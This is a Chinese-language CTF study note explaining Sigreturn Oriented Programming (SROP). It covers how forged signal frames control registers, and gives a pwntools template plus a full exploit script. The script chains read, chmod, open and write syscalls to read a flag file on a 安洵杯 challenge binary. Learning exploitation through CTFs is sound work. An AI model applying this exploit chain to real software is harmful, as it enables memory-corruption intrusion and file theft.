srop
[TOC]
一些重要理解
- rsp必须必须指向fake_frame的底部,不然sigreturn无法正常执行
- fake_frame中的rip的值就是sigreturn执行完后立即执行的指令地址
- mov_rax_0xf_ret后只要是syscall就行了,相当于ret后直接执行sigreturn系统调用。但是rip必须指向syscall_ret,因为中途不可以打乱rsp指向
- 当没有直接syscall_ret时,rip也可以指向0x401186,这也没有改变rsp指向
- 一次不对多dbg
- 区分syscall系统调用和包装好的syscall函数
基本原理
Srop 的全称是Sigreturn Oriented Programming Srop 可以理解成一种高级的ROP,利用了linux下15号系统调用的->rt_sigreturn
- Signal是Unix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息。常见于在一个进程中,内核向其发送发送软中断信号,该进程将暂时被挂起,系统进入内核态,因为是暂时被挂起,所以系统会保留该进程的上下文
- linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境(也就是③)这个环节直接设定相关寄存器的值。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中(所以srop是一种高级的栈溢出),以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码
利用原理
漏洞利用点
- Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
- 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是(因为我们可以进行修改)之前内核为用户进程保存的 Signal Frame。我们可以伪造Signal Frame,然后通过调用sigreturn信号,实现控制
- 当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值
使用条件
- 栈溢出可以实现较长字符的输入,因为一个Signal Frame就有0xf8长度
- 调用各种函数,需要自己准备必备的条件,比如调用execve,就需要准备/bin/sh字符串
- 如果要实现实现SROP chain,需要得到栈地址,才能正确的pop出rsp的位置(rsp应当指向fake_frame底部)
pwntools模板
pwntools集成了SROP的模块,可以帮助制作fake_frame:
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = ….
sigframe.rdx =0x100
sigframe.rsp = stack_addr (fake_frame的底部)
sigframe.rip = syscall_ret
payload=padding+p64(set_rax_15)+p64(syscall_ret)+bytes(frame)
srop_chain
一般来说调用一次sigreturn基本就够了,srop链情况比较少
例题
第六届安洵杯seccomp
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/chall"
elf=ELF(file)
p=process(file)
# sh=gdb.debug(file,'b *$rebase(0x1407 )')
def dbg():
gdb.attach(p,'b *0x401437')
rop = ROP(elf)
#gadgets
mov_rax_0xf = 0x401193
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address
syscall_ret_addr = 0x401186 #full function
#rsi
data_addr = 0x404000
bss_addr = 0x404060
#init frame 向data_addr读入flag文件名
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr
#获得读取flag权限
frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 777
frame_chmod.rsp = 0x404280 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = 0
frame_open.rdx = 0
frame_open.rsp = 0x404388 # 指向payload中邻接的mov_rax_0xf在bss段的地址
frame_open.rip = syscall_ret_addr
#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x40
frame_read_2.rsp = 0x404490 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr
frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x40
#这里如果不设置rsp,rsp=0,因为syscall_ret_addr有push pop指令,将无法正常执行write
frame_write.rsp = 0x404600
frame_write.rip = syscall_ret_addr
#bss
'''
0x401186 push rbp
0x401187 mov rbp, rsp
0x40118a syscall
0x40118c nop
0x40118d pop rbp
0x40118e ret
'''
#下面的都只能用syscall_addr 0x40118a 如果是0x401186,push rbp后rsp没有指向fake_frame的底部,导致sigreturn出错
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_1)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_chmod)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_open)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)
p.recvuntil(b'easyhack\n')
p.send(payload1)
#Stack Migration
payload2 = b'a' * 0x2a + p64(bss_addr) + p64(leave_ret)
dbg()
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send('flag\x00'.ljust(0x5a,'\x00'))
p.interactive()